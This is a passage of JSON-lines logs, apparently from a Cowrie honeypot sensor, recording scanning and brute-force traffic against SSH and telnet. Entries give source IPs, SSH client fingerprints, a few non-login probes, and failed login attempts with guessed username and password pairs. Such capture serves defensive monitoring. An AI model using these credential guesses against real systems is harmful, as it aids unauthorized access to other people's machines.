-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:04:25.340307Z","src_ip":"103.176.20.57","session":"82e6d6423f66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chigozie123","message":"login attempt [root/chigozie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:04:26.102623Z","src_ip":"103.176.20.57","session":"82e6d6423f66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:04:27.356693Z","src_ip":"103.176.20.57","session":"82e6d6423f66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.06463170051575,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:04:28.409272Z","src_ip":"128.199.8.54","session":"d6df1980fc7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":35130,"dst_ip":"159.203.135.109","dst_port":23,"session":"f43d69995c63","protocol":"telnet","message":"New connection: 128.199.209.169:35130 (159.203.135.109:23) [session: f43d69995c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:04:29.057990Z"}
{"eventid":"cowrie.session.closed","duration":0.7556407451629639,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:04:29.813524Z","src_ip":"128.199.209.169","session":"f43d69995c63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":42098,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a55417f7825","protocol":"ssh","message":"New connection: 182.93.50.90:42098 (10.17.0.5:22) [session: 4a55417f7825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:04:36.059584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:04:36.064950Z","src_ip":"182.93.50.90","session":"4a55417f7825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:04:36.283923Z","src_ip":"182.93.50.90","session":"4a55417f7825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"password","message":"login attempt [rock/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:04:37.174945Z","src_ip":"182.93.50.90","session":"4a55417f7825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:04:38.392878Z","src_ip":"182.93.50.90","session":"4a55417f7825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48544,"dst_ip":"159.203.135.109","dst_port":23,"session":"cae6ea70d6a5","protocol":"telnet","message":"New connection: 128.199.8.54:48544 (159.203.135.109:23) [session: cae6ea70d6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:05:19.504182Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":36298,"dst_ip":"10.17.0.5","dst_port":22,"session":"d17a522e0da6","protocol":"ssh","message":"New connection: 27.71.230.31:36298 (10.17.0.5:22) [session: d17a522e0da6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:05:20.601252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:05:20.649670Z","src_ip":"27.71.230.31","session":"d17a522e0da6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:05:20.960020Z","src_ip":"27.71.230.31","session":"d17a522e0da6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password123#","message":"login attempt [root/password123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:05:25.142582Z","src_ip":"27.71.230.31","session":"d17a522e0da6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:05:26.472639Z","src_ip":"27.71.230.31","session":"d17a522e0da6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57714,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee238b592ee2","protocol":"telnet","message":"New connection: 128.199.8.54:57714 (159.203.135.109:23) [session: ee238b592ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:05:36.136001Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":39910,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb0a16a31043","protocol":"ssh","message":"New connection: 91.92.40.4:39910 (159.203.135.109:22) [session: cb0a16a31043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:05:47.244840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:05:47.252106Z","src_ip":"91.92.40.4","session":"cb0a16a31043","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:05:47.367767Z","src_ip":"91.92.40.4","session":"cb0a16a31043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"access","message":"login attempt [admin/access] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:05:47.782796Z","src_ip":"91.92.40.4","session":"cb0a16a31043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:05:48.949426Z","src_ip":"91.92.40.4","session":"cb0a16a31043","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":48722,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc7e7964aed5","protocol":"ssh","message":"New connection: 34.100.248.63:48722 (10.17.0.5:22) [session: cc7e7964aed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:05:58.297626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:05:58.309469Z","src_ip":"34.100.248.63","session":"cc7e7964aed5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:05:58.557073Z","src_ip":"34.100.248.63","session":"cc7e7964aed5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ckp","password":"ckp","message":"login attempt [ckp/ckp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:05:59.555890Z","src_ip":"34.100.248.63","session":"cc7e7964aed5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:00.814463Z","src_ip":"34.100.248.63","session":"cc7e7964aed5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.723710536956787,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:01.859593Z","src_ip":"128.199.8.54","session":"ee238b592ee2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":31404,"dst_ip":"10.17.0.5","dst_port":23,"session":"045232c55cf8","protocol":"telnet","message":"New connection: 35.195.250.157:31404 (10.17.0.5:23) [session: 045232c55cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:24.993724Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":31420,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f050c52f96e","protocol":"telnet","message":"New connection: 35.195.250.157:31420 (10.17.0.5:23) [session: 5f050c52f96e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:25.150111Z"}
{"eventid":"cowrie.session.closed","duration":0.004739999771118164,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:25.154708Z","src_ip":"35.195.250.157","session":"5f050c52f96e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":31424,"dst_ip":"10.17.0.5","dst_port":23,"session":"a45ac5acecbf","protocol":"telnet","message":"New connection: 35.195.250.157:31424 (10.17.0.5:23) [session: a45ac5acecbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:25.305374Z"}
{"eventid":"cowrie.session.closed","duration":1.0307908058166504,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:26.024369Z","src_ip":"35.195.250.157","session":"045232c55cf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3530,"dst_ip":"10.17.0.5","dst_port":23,"session":"06f107caff64","protocol":"telnet","message":"New connection: 35.195.250.157:3530 (10.17.0.5:23) [session: 06f107caff64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:44.462284Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:44.467611Z","src_ip":"35.195.250.157","session":"06f107caff64","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:44.471108Z","src_ip":"35.195.250.157","session":"06f107caff64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08996772766113281,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:44.552125Z","src_ip":"35.195.250.157","session":"06f107caff64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3544,"dst_ip":"10.17.0.5","dst_port":23,"session":"e73cf967555d","protocol":"telnet","message":"New connection: 35.195.250.157:3544 (10.17.0.5:23) [session: e73cf967555d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:44.625960Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3558,"dst_ip":"10.17.0.5","dst_port":23,"session":"31aea67523f9","protocol":"telnet","message":"New connection: 35.195.250.157:3558 (10.17.0.5:23) [session: 31aea67523f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:44.824848Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3570,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d47f658b0ba","protocol":"telnet","message":"New connection: 35.195.250.157:3570 (10.17.0.5:23) [session: 7d47f658b0ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:44.978445Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3586,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c27e54ac2fa","protocol":"telnet","message":"New connection: 35.195.250.157:3586 (10.17.0.5:23) [session: 9c27e54ac2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:45.133843Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3592,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e74bbfd0041","protocol":"telnet","message":"New connection: 35.195.250.157:3592 (10.17.0.5:23) [session: 8e74bbfd0041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:45.287590Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3604,"dst_ip":"10.17.0.5","dst_port":23,"session":"32503eead854","protocol":"telnet","message":"New connection: 35.195.250.157:3604 (10.17.0.5:23) [session: 32503eead854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:45.442838Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3610,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc5095990f63","protocol":"telnet","message":"New connection: 35.195.250.157:3610 (10.17.0.5:23) [session: cc5095990f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:45.596413Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3624,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4fa0be38654","protocol":"telnet","message":"New connection: 35.195.250.157:3624 (10.17.0.5:23) [session: d4fa0be38654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:45.752233Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3630,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a728263afd4","protocol":"telnet","message":"New connection: 35.195.250.157:3630 (10.17.0.5:23) [session: 9a728263afd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:45.909223Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3644,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3a69c8bd3f5","protocol":"telnet","message":"New connection: 35.195.250.157:3644 (10.17.0.5:23) [session: c3a69c8bd3f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:46.141569Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3660,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d4111124922","protocol":"telnet","message":"New connection: 35.195.250.157:3660 (10.17.0.5:23) [session: 8d4111124922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:46.296487Z"}
{"eventid":"cowrie.session.closed","duration":0.004502773284912109,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:46.300844Z","src_ip":"35.195.250.157","session":"8d4111124922","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3662,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b28a3f8af90","protocol":"telnet","message":"New connection: 35.195.250.157:3662 (10.17.0.5:23) [session: 8b28a3f8af90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:46.452079Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3668,"dst_ip":"10.17.0.5","dst_port":23,"session":"6302c3fbd2e0","protocol":"telnet","message":"New connection: 35.195.250.157:3668 (10.17.0.5:23) [session: 6302c3fbd2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:46.605778Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3682,"dst_ip":"10.17.0.5","dst_port":23,"session":"85c91cbec941","protocol":"telnet","message":"New connection: 35.195.250.157:3682 (10.17.0.5:23) [session: 85c91cbec941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:46.761189Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3694,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5fbdb754b2d","protocol":"telnet","message":"New connection: 35.195.250.157:3694 (10.17.0.5:23) [session: e5fbdb754b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:46.917630Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3708,"dst_ip":"10.17.0.5","dst_port":23,"session":"952351cd87b2","protocol":"telnet","message":"New connection: 35.195.250.157:3708 (10.17.0.5:23) [session: 952351cd87b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:47.070999Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3712,"dst_ip":"10.17.0.5","dst_port":23,"session":"593a2d50773d","protocol":"telnet","message":"New connection: 35.195.250.157:3712 (10.17.0.5:23) [session: 593a2d50773d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:47.224910Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3722,"dst_ip":"10.17.0.5","dst_port":23,"session":"334bc208799a","protocol":"telnet","message":"New connection: 35.195.250.157:3722 (10.17.0.5:23) [session: 334bc208799a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:47.378018Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3724,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cc87e6abad4","protocol":"telnet","message":"New connection: 35.195.250.157:3724 (10.17.0.5:23) [session: 7cc87e6abad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:47.534219Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3738,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d3b25d4c9f1","protocol":"telnet","message":"New connection: 35.195.250.157:3738 (10.17.0.5:23) [session: 1d3b25d4c9f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:47.690854Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:47.695699Z","src_ip":"35.195.250.157","session":"1d3b25d4c9f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3754,"dst_ip":"10.17.0.5","dst_port":23,"session":"5314c283873a","protocol":"telnet","message":"New connection: 35.195.250.157:3754 (10.17.0.5:23) [session: 5314c283873a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:47.851042Z"}
